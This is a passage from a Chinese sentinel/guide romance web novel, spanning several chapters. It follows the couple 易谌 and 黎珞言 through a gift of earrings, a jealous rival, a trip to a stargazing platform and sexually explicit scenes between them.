指尖触到坚硬的物件,黎珞言想把那个礼物拿出来,易谌却突然伸手按住。他一本正经地按住那个方盒,脸不红心不跳地说:“这是我的**,你别摸了。” 黎珞言迅速抽手在他真正的**上摸了一把,那处反应立竿见影。他坦荡地纠正道:“这里才是。” “我下回送你一个更好看的礼物,这个不好看。” 易谌被揭穿了假得离谱的谎言过后,完全没有感到不好意思,还是用手死死按着盒子不让他拿走,一脸严肃。 他想趁机把被子扯过来遮掩一下,但黎珞言反应太快了,一直盯着他,他实在很难腾出手来。 两人抢着抢着,易谌脚被床脚一绊,就摔到在了床上。 黎珞言这回完全没有被他骗到,他一直在逼近,把易谌压倒在布着干涸液体的床单上,轻轻咬住易谌的喉结,漾起酥酥麻麻的痒意。舌尖掠过喉结边缘的黑痣,他有点凶巴巴地说:“不是说礼物丢了吗?” 易谌被他咬得难耐,两条腿抬起把黎珞言的腰环住,一使劲就让黎珞言也跟着摔在了他身上。 他苍白的脸又漫上了潮红的血色,手从黎珞言宽松的T恤下摆里灵活地钻了进去,唇沿着对方白皙的脖颈一个劲地亲下去,留下一个个淡得很快就能消去的红痕。 他一个没注意,手就松了力,耳钉盒子瞬间被专心致志、自始至终只有一个目标的黎珞言抢了过去。 黎珞言捏在手里,没有急着打开,易谌手上陡然一空,亲吻他的动作都顿住了,他一只手扣在黎珞言的后颈上,下意识就停了继续下去的动作,抬起眸。 “我可以打开吗?”黎珞言脖颈上满是暧昧的红痕,连着T恤遮住的地方也红了一片,他微微垂眸,说话间唇齿一张一合的,领口由于重力下垂,露出白皙大片的肌肤,以及两点嫣红。 易谌的手还覆在他腰腹的薄肌上,要是换个别的情况,他这个时候就会把黎珞言身上那件碍眼的T恤扯下来了。 但现在黎珞言一脸认真地看着他,完全是在正经等着他的回答,他脑子稍微清醒了点,从情.欲中抽离出来。 “你打开吧。”易谌眉眼间显出几分无可奈何,他躺下放空地看着天花板的大灯,他想等会儿黎珞言一打开这个盒子,他就迅速把人抱住,在黎珞言想起那些难过的记忆之前,就把他的思绪搅乱。 他倒是想继续藏着不让看,但黎珞言这人是真的很固执,平时看着很好说话、什么也不放在心上的样子,但碰见在意的事,几头牛都拉不回来他,脾气犟得跟他那个精神体没两样。 黎珞言还说他那个精神体记仇,但其实厄斯完全是随了悄摸摸记仇的主人。 黎珞言不知道他在心里偷偷说自己坏话,得到许可后眼睛都亮起来,一骨碌坐起身,把方盒子放在身上,两手并了并,专注看了好几秒钟后,才伸手打开盒子。 做工精致木盒打开后,里面装着一对被丝绒包裹的闪亮耳钉,通体是碧绿的颜色,阳光洒在上面折射出流光溢彩的光。奢侈品真不愧奢侈品的名头,漂亮到夺目的程度。 ——这是易谌用自己所有积蓄定制的一对耳钉。 易谌见他看见了盒子里的耳钉,黎珞言刚看了一眼,易谌便立即覆上他的手将盒子合上了。 他翻了个身,自上而下望着黎珞言,凑近亲他,黎珞言却先一步抬头吻住了他。易谌微微怔住,一眨不眨大睁着眼睛看他。 黎珞言慢吞吞地舔咬他的唇,一边道:“明明就很好看。” 他弯了弯眼睛,手从易谌的腰身抽出来点了点自己的左耳,歪歪头说:“我在这边打两个耳洞怎么样?” 他认真地思索着可行性,眼眸瞥过来又转过去,看起来十分灵动有精气神:“会不会太闪了?我感觉三个耳钉一戴,我肯定就像个手电筒一样……” 易谌也抬手摸着他的左耳垂,他手冰凉凉的,硬是把黎珞言耳垂给揉红了。 黎珞言眨眨眼睛,一个翻身重新把易谌压到身下,他低头,鼻尖蹭了蹭易谌的鼻尖,唇要碰不碰的,勾的人心痒痒,易谌就被他勾得有点上头了,黑眸微眯了眯。 他清亮的声音带着笑:“我打三个耳洞的话是不是很酷?” 易谌一垂眸,就看见黎珞言的T恤顺着他歪头的动作一晃一晃地动,T恤下的两点嫣红若隐若现。 看见礼物之后,黎珞言并没有像易谌想的那样出现抵触的情绪,反而弯着眼,眸里浸着愉悦的情绪。 易谌一颗心松了下来,他眉眼稍微弯起了点不明显的弧度,连他自己也没发觉自己始终紧绷着的情绪。 在黎珞言弯着眼真诚夸赞耳钉漂亮、捏着耳钉盒不放的时候,他整个人骤然放松了下来,原先的紧张一扫而空,他全然沉浸在了这一刻快要溢出来的幸福感当中。 他伸手摸着黎珞言后脑勺的黑发,仰头回应着黎珞言蜻蜓点水的亲吻,嗓音低沉带着点暗示的意味:“其实打在另一个地方更酷。” 黎珞言不太明白,一双绿眸澄澈茫然。 易谌的手撩起他的T恤下摆,顺着往上攀,最后手停了下来,食指缓缓绕圈。 黎珞言似懂非懂。 …… 最后易谌的暗示没能被同意。 他从盒子里拿出一枚耳钉,放在嫣红那处比对了下,强烈的色差格外令人心潮澎湃,易谌眯了眯眼,忍不住舔了下唇,目不转睛盯着那里,满脑子都是当场实施一下。 “你想戴上是不是?”黎珞言伸手扯住他的衣服,本来只是试探性地拉扯一下,没想到手上一个用力倏地就撕开了。 清晰的“撕拉”一声后,黎珞言的神情有些懵,这么好撕的吗? 易谌张了张嘴:? 他少见露出这样茫然的神情,低头看看自己突然光.裸的上半身,精瘦的肌肉都暴露在了空气中。旋即,他又抬眸看向黎珞言,挑了下眉。 黎珞言目移,不再看他,心虚地松开手里的布料,扯到了旁边,推远了些试图隐藏证据。唇瓣抿进嘴里,故作平静地从易谌手里拿过,把耳钉珍惜地放回了盒子里,然后拉开一个柜子放进去。 做完这一切之后,他发现易谌竟然还在看他,于是眨了眨眼睛,很是理直气壮地说:“我之前就看过了。” 他伸手拍了拍易谌的胸膛,表示自己的坦荡,但突然一下脑子想起了易谌刚刚的暗示性话语,手指情不自禁地用力滑过一下。 “嘶。”易谌倒吸一口冷气。 黎珞言无辜地抿着嘴巴,语气认真,似乎是真的在想这个问题:“那你要是把耳钉钉在这里,是不是就会一直这么红了?” 他手指顿住,轻轻往下按了一下,仿佛是在为其缓解疼痛:“会不会疼啊?” 易谌被他时不时的小动作搞得偏低的体温都热起来了,及时抓住了他的手腕,眼神往他身上瞥了下,语气不咸不淡,带着点暧昧的深意:“试试就知道了。” 到时候还说不定戴在谁身上呢。 * 易谌在导师那里的工资是周结。这一周的工资还没拿到,易谌准备等拿了工资再给黎珞言买个终端。于是这几天就空闲了下来。 易谌的宿舍位置和温暻的巧合地离得挺近,黎珞言好几次出门下楼的时候,都在开门时恰好和温暻偶遇,然后他们便一起顺路下楼。 “最近蚊虫很多吗?”温暻伸手轻轻按在黎珞言脖颈的红痕上,“这几天看见你的时候,好像都是这样的。” “啊?”黎珞言低头看了看,他往旁边挪了半步,让温暻的手离开了他的脖颈。他没有注意到温暻那一瞬间若有所思的眼神,思索了下,回道,“应该是易谌咬的。” 其实易谌每次咬得并不重,红痕很快就能散去了。但他每次出门之前就会抱住黎珞言,在明显裸.露在外的地方啃上两下,留下短时间内消不去的红印,就跟某种标记似的。 这么热的天,穿高领上衣出门一定会更热。黎珞言不想要花时间遮掩这些痕迹的意思,他抱着一种无所谓别人看没看见的态度,易谌就更不想他遮住了,毕竟他留下这些痕迹的目的就是提醒某些心思不明的人。 温暻听到他的话后,脸上神情微变,下意识开口:“你们……” 刚说了两个字,他就陡然停住了话语,弯起眼很温柔地说:“你们不是还没结婚吗?” 走到楼下了,黎珞言漫不经心地点点头。他伸着脑袋左转右转去找自己的画板。他明明就记得他放在树底下的,怎么不见了? 温暻还在说话:“没结婚他就和你做这种事有点不太好吧,毕竟你也叫我一声哥,我有时候也忍不住多唠叨几句……不过你年龄比较小,会禁不住引诱也正常。” “但你们还是节制些比较好,我看你每天身上都带着这些痕迹。还有一件事就是,别让执政官阁下知道了,阁下是个比较古板的人……对了,我明天需要回一趟白塔汇报事情,准备顺路去观星台看看,你一个人在家里无聊的话,要不要和我一起?” 黎珞言只想快点找到自己的画板和凳子,根本没注意听他在说什么,只是胡乱又敷衍地点点头。 温暻一看他这样就知道他没仔细听,无奈地弯了下眼,唇角带着纵容温和的笑。 他确实是想去观星台看看,上一次去已经是几年前了,那一次也是黎珞言和他一起。嗯……准确来说,是他在给黎珞言做疏导的时候,不经意看到窗外的天,提起一嘴,说从房子里面往外看,连月亮都蒙尘了,按部就班的生活实在是有点没意思。 那个时候黎珞言便撑着下巴问他:“想不想看没有蒙尘的月亮。” 温暻不是个富有浪漫细胞的人,有时候说一些关于风月美景的话也是读书读多了之后的后遗症。但他喜欢和黎珞言待在一起,便点了头,说自己好想看看没有玻璃阻隔的月亮是什么样的。 他以为黎珞言就会带着他出去看月亮,又或者把窗户打开,在月光下望着他、弯起那双绿色的眼睛笑。他想即便是那样他也会很开心的,但事情并没有像他想的那样发生。 黎珞言当天回去了,但第二天却在白塔下一直等着他,不知道等了他多久,总之天黑了之后温暻才从白塔里出来。黎珞言在看见他之后,没说别的,单刀直入地说要带他去个地方。 然后他们就沿着东绕西转的路走来走去,又是爬坡又是登摇摇晃晃的梯子。在温暻累得快要绷不住万年不变的表情管理时,黎珞言终于停下了脚步。 “到了。”他说。 温暻顾不上自己一向的讲究习惯了,爬上楼梯之后撑着斑驳的墙壁喘着气,听见黎珞言的声音后,他抬起眸,然后怔住了。 漫天的繁星像拍卖会上的高价画一样直截跃到了他的眼前,闪烁的星子真的就像书本上说的在眨眼睛那样,温暻一眨不眨地望着天,莫名有种伸手就能抓住几颗星星拽下来的错觉。 那副画面太浓烈、太具有冲击力了,温暻的心奇异地平静了下来,他唇角的笑真实了几分,视线一点点下移,看着不远处的黑发哨兵。 黎珞言在前面摆弄着望远镜,小声地自言自语:“这样应该就能看见了。” 他辛苦了好一会儿,调整到一个观赏极佳的角度后,转回头来,朝温暻弯起眼睛,右耳那颗耳钉比星星还要亮上几分。他笑道:“温暻哥,来看月亮。” …… 温暻想,黎珞言大概只是抱着想和别人分享自己偶然发现的好地方的心理,他不该想太多。但可能是那天的月亮太圆,又可能是身边人的呼吸声太清晰了,还是说星星太闪、风又来得刚刚好…… 他突然觉得,观星台真的是个很奇妙的名字。 * 易谌做完实验,踏上从白塔出来走上回家的路,这才有时间打开终端,忽然看见一个未知号码给自己发了一连串的照片和视频。 他本来想直接忽略,却一瞥眼看见了熟悉的脸,他皱了眉,点开大图,发现照片的主角之一果然是黎珞言。 黎珞言身边的另一个人他也不算陌生,是对黎珞言怀有非常明晰的心思的温暻。那人发了许多张照片,照片的主角穿着不一样的衣服,很明显这些照片并不是来自于同一天。 最后几张照片的拍摄角度十分微妙,是从温暻的后方拍的,温暻的手搭在黎珞言的锁骨附近,头微微朝面前的人凑拢,看起来相当亲密,宛如一对璧人。 易谌的脸色没什么变化,眸子一片漆黑,又点开了视频。视频没有录到他们对话的声音,但从两人都笑着的神情来看,大概是聊得很愉快。 易谌垂着眸,看完一遍后,又点开视频播放一遍,不知道看了多少遍,竟然不知不觉间就走到了门口。 他脸色沉沉,看不出情绪。平静地给那个未知号码言简意赅发了个【?】,旋即就把这个号码拉黑了。 把门打开后,他发现客厅的灯是开着的。黎珞言还没睡吗?易谌疑惑地往里走,一侧头瞥见抱着枕头在沙发上睡着了的哨兵。 黎珞言眼睛闭着,在沙发上睡着的时候格外老实,不像在床上那样翻来覆去、蹭来蹭去了,眉眼安静。 易谌放轻了脚步声,眉眼不禁舒展开,方才的冷意全然散尽了。他伸出手,刚准备把黎珞言抱回房间里,黎珞言就睁开了困倦的眼睛。 易谌动作一滞,缩回了手。 比黎珞言大脑清醒得更快的是骤然弯起的眼睛:“你回来了。” 他困得不行,懒得不想起床,于是先直直伸出两只手,从手臂开始让自己动起来。 黎珞言的大脑还在放空,易谌却突然俯身抱住了他。 黎珞言状况外地“嗯?”了一声。 易谌脸贴着他的脸侧:“不是要抱吗?”黎珞言躺在沙发上伸出双臂,这样太适合让他抱一下了。 他觉得让黎珞言一个人在家还是不太行,有太多趁虚而入的人了。比如某位首席,又比如那个不知道出于何种目的拍下那些错位照片发给他的未知号码…… “你之前说有个地方叫观星台?”易谌假意询问,其实心里早就有答案了。 黎珞言立马点点头,他心里即刻升上一股自己的安利卖出去了的愉悦感。 “你什么时候带我去看看呢?未婚夫——”易谌拖长了尾音,细密的吻一刻不停地落在黎珞言的颈侧。 “你什么时候有时间?”黎珞言被他亲得脖子有点痒,一把捏住他的脸颊,把他的脸扭正过来正对着自己。 易谌被这样掐着脸颊,也还是一副不近人情的冷峻面容,但被掐得微微挤起的脸颊肉让他绷着的脸显得有些不伦不类。 黎珞言忍不住笑了,手上又使劲地挤了挤他的脸颊肉。 易谌任着他闹,也不恼,只不过被这样捏着脸,说话有点含糊不清:“明天,好不好。” 黎珞言完全不记得今天温暻和自己说过什么了,毫不犹豫地应了下来:“好啊。” 上床睡觉后,黎珞言躺在床上,突然想起来:“对了,我今天发现我的画板不在树底下了,找了好久发现它居然跑到旁边那栋楼的墙角那里去了。是你帮我移去那里的吗?” 易谌摇摇头:“我动了你的东西之后会告诉你的。” “那好奇怪……”黎珞言想了会儿想不出来,叹了口气,“难道是别人觉得放在树下面影响过路了,所以给我移走了吗?” 他嘟嘟囔囔了一会儿,声音越来越小,困意重新袭上来,他很快又睡着了。 易谌本来也快睡着了,却骤然睁开了眼睛,神色严肃冷冽。他忽然间想到了今天那个给自己发照片和视频的未知号码。 这件事和号码背后的那个人有关系吗?还是说,他们根本就是同一个人? 第 63 章 “做吗?在这里。”…… 第二天临出门前, 黎珞言给自己找好换洗的衣服,进了洗手间洗澡。易谌坐在沙发上照着图纸上的说明组装枪.支。 易谌的动作有些生涩迟疑,每组装一步就看一眼步骤, 确认自己的上一步没出差错。 等黎珞言出来的时候, 易谌还没组装完成, 他把手里的动作停了停,抬眸看去。 黎珞言头发湿漉漉的,大概是只用毛巾随意擦了擦,毛巾搭在脖颈上,发尾还在滴水,把肩膀都浸湿了一小块。 他快步走过来,俯身低头看着易谌手上的半成品枪.支, 催促他:“你怎么不继续了?” 易谌终于把视线从他身上移开, 重新回到自己手上,眉头微皱:“这一步没太看懂, 有点卡住了。” 黎珞言便跟着看向他面前的图纸,眸色认真,手指轻轻按住,片刻后, 他用手指点了点, 询问道:“是卡在这一步了吗?” 他身上还带着水汽, 湿润的头发不经意间蹭过易谌的脸颊, 热气蒸腾得他脸微微发烫,白皙的皮肤上染上粉意, 气色很好,看起来很健康红润的模样。 易谌有点神思不属了,强迫着自己把注意力集中到自己正在进行的工作上面。他看着黎珞言手上点的位置, 瞬间有些惊讶挑起眉:“确实是这里。” “我帮你看看,你先去洗澡吧。” 易谌起来后,黎珞言就接过他手里的物件,坐在了他一开始坐的位置,看着图纸比对,眉眼专注认真。 他看得仔细,手上灵巧地动着,按着步骤反推,把原先组装好的部分先拆卸了下来。白皙修长的手指在纯黑枪.械中敏捷翻飞,具有一种说不出来的反差感和性张力,格外引人注目。 易谌盯着他认真起来的样子,一时间没能移开视线,一动不动地看着,直到黎珞言抬眸困惑地说:“你怎么还不进去?”易谌方才像被冻结住的双腿才得以解冻,迈开步子往洗手间里去。 他把门关上,平缓了自己有些剧烈的心跳,将刚才的一幕从脑子里挥出去,才转过身。一低头瞥见了放在阳台边上的脏衣篓,黎珞言刚才换下来的衣服都塞进了那里面。 易谌缓慢眨了下眼睛。 …… 易谌今天洗澡的速度慢了不少,黎珞言不仅把他卡住的那处步骤研究明白了,还在无聊之时把这把枪.支拆卸、组装了不下三次,还不见得易谌出来。 黎珞言没什么事情干了,便开始给自己吹头发。过了好一会儿,易谌才从洗手间里出来。 “你是在?”易谌看着他被吹得乱糟糟翘起的头发,唇角不禁扬起了一点。 黎珞言像小狗甩毛似的用力甩了甩头发,残余的水珠都飞了出去,有部分还飞到了易谌脸上。 易谌及时偏头闭了闭眼,没让水溅进眼睛。 “我在吹头发啊。”黎珞言晃了晃手上的吹风机。 易谌抿了抿唇,好不容易才把笑容抿了回去,拍了拍黎珞言的肩示意他坐到沙发上去。然后把插头拔了,插在沙发上方的插座上,动作温和地给黎珞言吹头发。 他手里轻轻抓着黎珞言的黑发,不像黎珞言那样随便乱吹,他的动作看起来十分专业。 黎珞言拿起桌上被他拆卸了的枪.支零件,快速组装起来,在快到易谌卡住的那一步时,他的速度就慢了下来,示意易谌仔细看,他慢动作地演示了这一步如何进行。 易谌一心二用地看,黎珞言的演示很清晰,他一瞬间就看明白了,点点头。 黎珞言的头发也吹干了,留他一个人在沙发上琢磨一下这里的步骤。 易谌把自己的头发吹个半干,就开始摆弄枪.支零件。 “啊?”黎珞言突然从洗手间的门框边探出一个脑袋,晃了晃手里空荡荡的脏衣篓,“我换下来的衣服呢?” 易谌把这个型号的枪组装好了,闻言动作一顿,抬头时即刻恢复到了一如既往的冷淡神情:“顺手洗了。” 黎珞言眼睛睁大了点,下意识又看了眼空空如也的脏衣篓,震惊之下连声音都放轻了:“我的、……你也洗了?” 他越说越小声,声音里满满都是不确定。 易谌淡定道:“洗了,还在阳台上晾着呢,你没看见?” 黎珞言舌头突然有点打结:“不、不太好吧。” 他耳垂攀上一抹红,很快整个耳朵都红透了。 黎珞言居然是在害羞吗? 易谌本来很淡定的,但被他这么一影响,连带着也有些不好意思了,耳根也跟着红了。他竭力绷住平静无波的语调,将这个定性为非常合乎常理的事:“我给你咬的时候你不也没反应吗?洗个衣服怎么了?” 黎珞言揉了揉滚烫的耳朵,小声地反驳他:“我有反应啊,那不然你咽下去的是什么?” 易谌正在喝凉水压压脸上的热气,还没咽下去就被这句话骤然呛了一下,猛地咳嗽起来。 * 长途跋涉之后,两人终于到了观星台了。沿着楼梯往上走的时候,易谌说:“这地方这么偏,你居然也能找到。” “很偏吗?”黎珞言走了这么远的路,气都没喘,他出门前为了挡脸,戴着顶鸭舌帽和口罩。 此时他把口罩摘了,鸭舌帽拿在手上,回过头朝易谌弯弯眼睛,用手背擦了擦他脸上的汗,“你看起来还好……之前温暻哥走到这里的时候都累得只能扶着墙走了。” 易谌眯了眯眼,敏锐地捕捉到了他话中的关键词:“温暻?” 黎珞言看他突然一下就这么有精神了,简直就像被什么东西骤然砸了一下脑袋清醒万分一样。黎珞言茫然地眨了下眼:“是啊,怎么了?” 易谌似笑非笑:“你还带他来过这儿啊?” 黎珞言抓了抓头发,眼神移开,经过这段时间的同居生活,他敏锐地察觉到这个时候不能正面回答。 他想了想,斟酌道:“不止温暻哥,还有祁青哥也来过。” “哦,他们都来过啊。”易谌语气不咸不淡,“那你那个小竹马呢?也来过?” 黎珞言觉得他说话的语气怪声怪气的,伸手把他的嘴巴吧嗒一下捏住。嘴上慢吞吞地解释道:“他没有来过,他又不喜欢看星星。” 他凑近易谌,眨眨眼睛问道:“这里又不是我的秘密基地,我不可以带别人来吗?还是说你不太喜欢温暻哥?” 易谌嘴还被他捏着,唔唔了两声。黎珞言看了他好几眼,才松开手,一双绿眸抬着望他,看起来有点点像被批评了似的小可怜模样。 易谌违心地说:“我对他没什么意见。” 两人走到了望远镜前面,这架望远镜还是黎珞言几年前搬到这里来的。他们轮流用着望远镜到处看,易谌心情轻松,脸上露出了明显的笑容。 两个脑袋凑在一起嘀嘀咕咕的,天色渐渐黑了,星星就显了出来。 黎珞言拽了拽还在玩望远镜的易谌,指了指天上:“快看,是不是很漂亮。” 易谌被他扯得仰起了头,漆黑的眸子瞬间被闪烁的繁星点亮了。 黎珞言没有说错,这个地方、这个视角看星星真的很漂亮,仿佛近在咫尺,伸手就能触碰到,天空被赋予了一种能够蛊惑人心的魅力。 黎珞言站在他身边,和他肩挨着肩,也仰起头在看。 易谌心脏跳得很快,忍不住扭过头看他,黎珞言察觉到了这道毫不掩饰的视线,便也偏过头来。 黑发绿眸的哨兵弯起一双眼睛,嘴巴一张一合的似乎在说什么。 说了什么易谌完全没有听清,他视线移动不了半分,专注地盯着黎珞言的眼睛。 黎珞言歪头:“你在听吗?……唔。” 易谌抓着他的肩膀贴近亲了上去。 只是单纯唇贴着唇,鼻尖轻轻蹭着鼻尖,易谌没有要更进一步的意思。 星光月光一股脑地洒下来,像是给他们披上了一层碰不着的纱衣,氛围宁静又带着点别样的浪漫气息。 黎珞言看着易谌,眼睛又眨了两下,伸舌头浅浅舔了下易谌的嘴唇。 易谌便轻轻笑了声,从喉腔里发出来的笑声,胸口微微震动。 本来易谌是没有别的意思的,他只是很想要和黎珞言拥抱,亲吻,在星辰月光下。 这实在是一幅太容易让人心动的场景了。繁星,弯月,弯弯笑的绿色眼眸,站在身边的充满了少年气息的哨兵…… 易谌的心脏如擂鼓般猛烈跳动,如果不是他伸手按住,他总有一种下一秒心脏就能从胸口里蹦出来的错觉。 但一想到曾经有人和自己一样,站在黎珞言旁边,和他一起仰头赏星,而他们现在所做的一切不过是一种历史性的巧合重复罢了,易谌的心口就忍不住涌上一种堵得慌的感觉,心里酸涩得不行。 但黎珞言也伸手抱紧了他,没有抵抗他突如其来的亲密行为,眼睛只专注看着他一个人,就好像只装得下他一个人一样。 易谌感觉自己的呼吸不自觉地加快了频率,身体在不正常地震颤。 “你脖子好红。”黎珞言用手背贴贴他的脖颈,给他降温。 易谌抱着他没松手:“是吗?” 他确实没有想做别的事的意思,但他一抬眼,却在楼梯口瞥见了一只正巧缩回去的军靴。 ——是白塔统一制服里搭配的靴子,在那人往楼梯收回脚时还不经意间露出了银灰色衣角。 易谌瞬间猜到了躲在楼梯口的人是谁,眼眸里闪过一丝冷锐的光。他抱着黎珞言的动作更紧,手顺着脊背往下,滑到劲瘦的腰身时移到了前面,旋即继续往下。 黎珞言背对着楼梯口,那处刚好是他的视线盲区,因此不解又茫然地按住了易谌不安分的手:“怎么了?” 易谌在他耳边吹了口气,看着他白皙的耳朵瞬间蹿上一抹绯红。他低声问:“做吗?在这里。” 第 64 章 衣服,咬着。 他这句话来得太过突然, 黎珞言脑子反应了一下才反应过来他口中的“做”是做什么。 “在这儿?”黎珞言挣脱他的怀抱,扭头环视了下周围,再仰头看了看天。 易谌的手还没摸到地方, 就被黎珞言一把挣开了。他眼底浮现出几分无奈, 手指张合了下, 只能抓住空气。 “难道这儿还会有别的人来?” 黎珞言不确定地说:“也说不定……?” 他转身想先去到处探查一下这里有没有别人,却被易谌一把拽了回来。 易谌重新又抱紧了他,手按在黎珞言的背后,几乎能透过薄薄一层T恤摸到温热的皮肤,唇角带着点笑:“你是不是害羞了?” 黎珞言刚想否认,嘴巴还张着,一句话没说出来就卡壳了, 易谌的手自然地就钻进了他的衣服里, 掌心沿着脊背往上摸,宽松版的t恤里若隐若现手掌的形状。 黎珞言脸颊漾上热气, 他抿了抿唇,歪着脑袋看向易谌,神情显得有些认真:“你真的很想做吗?” 他语气太认真了,仿佛是说如果易谌特别想做的话, 他就陪他做。以至于听见这话的一瞬间, 易谌突然觉得自己像是在露天平台上待了一小会儿就耐不住饥渴了的丈夫。 易谌不知道该说很想做还是特别想做, 无论是哪一个答案说出来都有点让人臊得慌。他沉默地把黎珞言和自己一同带到了墙角处, 以晚上的光线,他们站在这个地方, 楼梯口是看不清楚这边的情况的。 “这里就看不清楚星星了。”黎珞言不知道他为什么把自己带到这里来,自顾自地仰头看,延伸出的一点屋檐有些遮挡视线, 他往前面走了几步,想找个能看清星星的角度。 易谌一个没注意他又要往其他地方跑了,一只手轻轻按着自己跳动的额角,另一只手把黎珞言拽了回来。 黎珞言状况外地把步子收了回来,又状况外地被推到在了地上。 易谌跨坐了上去。 两人把衣服都好好地穿在身上,但夏天的衣服都很薄,即便是有衣物的阻绝,也没起多大的阻绝效果,反而产生了种隔靴搔痒的感觉。 易谌嗓音低沉沙哑,他俯身和黎珞言凑得很近,轻轻吻了一下黎珞言的唇角,声音带着笑意:“你就只想看星星?” 黎珞言微怔了一下,下意识抬起眸,直勾勾和易谌对视着。 “要不要做点其他的?”易谌唇角勾着,问他。 黎珞言脸颊绯红,连绿眸都显得亮晶晶的。在外面做这种事对他来说实在有点太超过了,他在脑子搜刮着合适的词,看着易谌小声地说:“你不要再勾引我了。” 说话间,易谌小幅度动了一下,正正擦着过去,黎珞言闷哼一声,立即伸手摁住了他,不让他再继续动了。 黎珞言的手从腰上滑了下去,手落下去,那一刻易谌瞳孔都骤然张大了一瞬。 黎珞言眨了眨眼,手下使劲了些。他作为联邦军校的哨兵,常年玩.枪,指腹上有点不明显的茧子。 易谌一动不动,像是僵住了。 黎珞言发觉自己好像发现了拿捏易谌的方式,他弯了弯眸子,绿眸里瞬间盛满了澄澈干净的笑意,但他手上的动作却和神情全然不符。 他手掌往上抬了抬,然后随手拍了下去,发出清脆的响声。 易谌整个人是趴在他身上的,黎珞言的脑袋便往前蹭了蹭,一只手顺势环住易谌的腰,下巴靠在易谌肩上,眼睛月牙似的弯着。 黎珞言对自己的力气总是认识得不太清晰,这一掌打下去,手下的肉都轻轻颤了下,从尾椎蹿上一股酥麻痒意。 奇怪的是这一巴掌明明是打在软肉上的,易谌的脸却瞬间红透了,像煮熟的虾子似的,愣了好一会儿才终于回过神来,噌的一下就要爬起来。 然而黎珞言的手还扣在他腰上,在察觉到易谌意图的瞬间,手臂便像铁钳一样紧紧地将他扣在原处不得动弹,用力时小臂肌肉线条流畅又漂亮。 哨兵和向导生理上的差异就注定了易谌在力气方面是无法直接拗过黎珞言的,他的挣扎只是徒劳。 黎珞言眨了眨眼睛,不解地问:“不是要和我做点别的吗?” “那你也不能……”易谌最后几个字几乎是从牙关里挤出来的,“这样啊。” ——这简直太羞耻了 “我知道了。”黎珞言向来是很好说话的性子,他很爽快地松开了手。 但想起刚才的触感他觉得有些新奇,给易谌分享着自己的新发现,“不过你看起来很瘦,居然身上是有肉的。” 易谌被他这话说得羞耻心更加爆棚,脸红得快冒烟了,重重地“嗯”了一声,竭力绷着一张淡定的脸,打断他的话。 黎珞言和他商量着,语气认真:“下次我能不能换个动作?这样我就能一边*,一边看着你了……我前几天在家里闲着无聊,看了些视频,我看上面说了好多种方式,不过有的可能会让你不舒服?唔……” 他絮絮叨叨讲话的时候,手上不自觉就收了力气。 易谌为了打断他这些让人脸红心跳而不自知的话,一边催眠着自己什么也听不见,一边准备坐下去,临门一脚时,他耳朵突然捕捉到关键词,眉眼微沉:“视频?什么视频?” 黎珞言看别人做的视频了?他见过别人的了? 易谌一瞬间脸也不红了,漆黑的眉眼氤氲起连片阴云,被自己一瞬间的脑补气得额角青筋直跳。 “科普视频啊。”黎珞言低眸看着他和自己快要触到一起的部位,眨了下眼后就把他往下按了按,顺便回想了下,“就是那种一个穿个白大褂的人站在屏幕中间,说情侣之间应该怎样做。我看上面说做完之后还需要导出来,是这样的吗?我怎么没印象了。” “呃……”黎珞言的动作太突然,打了易谌一个猝不及防。他此刻一动不敢动,禁不住伸手摸了摸自己的腹部,真的恍惚间产生一种印出痕迹的错觉。 黎珞言没一会儿就累了,天色已经很晚了,按照往常的作息他都睡着了。他打了个哈欠,眼角浸出困倦的泪花,拖长语调懒懒地说:“易谌——你动一动。” 易谌缓了好一会儿,手撑着,慢慢地坐起来。在觉得自己的声音与往常无异后,便开了口,回复黎珞言前面的话,淡定地说:“是要导出来,你当然没印象,因为你每次都睡着了。” 黎珞言“唔”了一声:“我还以为你吸收了。” 他把手伸进t恤里轻轻按在易谌的腹部,掌心张开揉了揉。 易谌眼睛微微张大,嘴角抽了抽,一时又觉得有点想笑:“我还能吸收了给你生个小梨子出来吗?” 他突然真的笑出了一声,声音沙哑磁性:“不过你摸的这里倒是真的有个小梨子。” 黎珞言才不管他说什么浑话,手又往上走,准确无误地停住。 他抬眸问:“上次不是说要钉在这里吗?现在钉怎么样?” 易谌因呼吸剧烈而胸口起伏着,等他缓过来,神智稍微清醒了一点时,他发现自己的T恤已经被撩起来了。 他低着头,看着黎珞言手里拿着枚碧绿色耳钉晃来晃去。 “咬着。”黎珞言抬眸看了他一眼,言简意赅。 易谌便鬼使神差咬住了自己的上衣。 “我会轻轻的。”黎珞言神情专注,他认真起来的时候周身散发着一种极其特别的魅力,十分让人着迷。 耳钉的针尖冰凉无比,试探性地触碰着温度极高的皮肤表面,即便只是看着这个画面,就已经让人忍不住心颤地想象到尖处刺破皮肤表面刹那间迸发的疼痛了,更别提易谌还能清晰感受到冰冷制品一下下滑过皮肤的触感了。 但易谌的眼睛却一眨不眨盯着黎珞言在看,似乎察觉不到即将到来的疼痛似的。 黎珞言仔细看着,旋即手上一动,用耳钉刺破,动作快准狠,十分精准。 身体上绽开的疼痛让易谌陡然紧绷,死死咬住了衣服。 就在这时候,易谌身上的终端突然响了。 两人都没有那个心思接终端。过了好一会儿,终端挂了,下一秒又持续不断地响起来,打电话的人简直锲而不舍到了极点。 “还是接一下吧。”黎珞言说。 易谌:“……” 他不太想出来,于是坐着没动,眉眼不耐烦地找出终端。 是个未知号码。他脸色冷肃了一瞬,想到会不会是那天给他发照片视频的神秘人。 想到这儿,他不着痕迹地看了一眼黎珞言,旋即接通了。 “抱歉,这么晚了还打扰你。”听筒传来的声音天然浸着温柔的意味, 易谌眯了眯眼睛,看向楼梯口。果然已经没人了。 黎珞言也抬眸看他,奇怪地想,温暻哥这么晚了打电话给易谌做什么? “有什么事吗?”易谌的声音冷冷的,嗓音重还带着点情事浸润后的沙哑餍足。 温暻的声音一如既往温柔得不真实,却隐隐显出几分尖锐:“没有别的事,就是想问,你是有让别人观看现场的癖好吗?” 易谌轻轻一笑,反问:“那你是有观看现场的癖好吗?是不是特别想看,但怎么也看不清楚啊。” 黎珞言眼神有些茫然,在说什么? 终端那头沉默了几秒,易谌把终端拿远了些,低头亲着黎珞言的下巴。 温暻听见窸窸窣窣的水声,脸上的神情冷得快要杀人,打断道:“我没你那么无聊。我也想提醒你一声,不要把你们下城区那些见不得人的肮脏习性带到这里来。” 易谌的心情很好,他亲着黎珞言,黎珞言伸手轻轻推了推他,示意他打完电话再继续亲。 易谌心里软得一塌糊涂,完全没有因为一个无关紧要的人的话生出半点火气,泰然自若地说:“到底谁见不得人啊。” “嘟嘟嘟——”电话被骤然挂断。 易谌啧了一声,这就破防了? 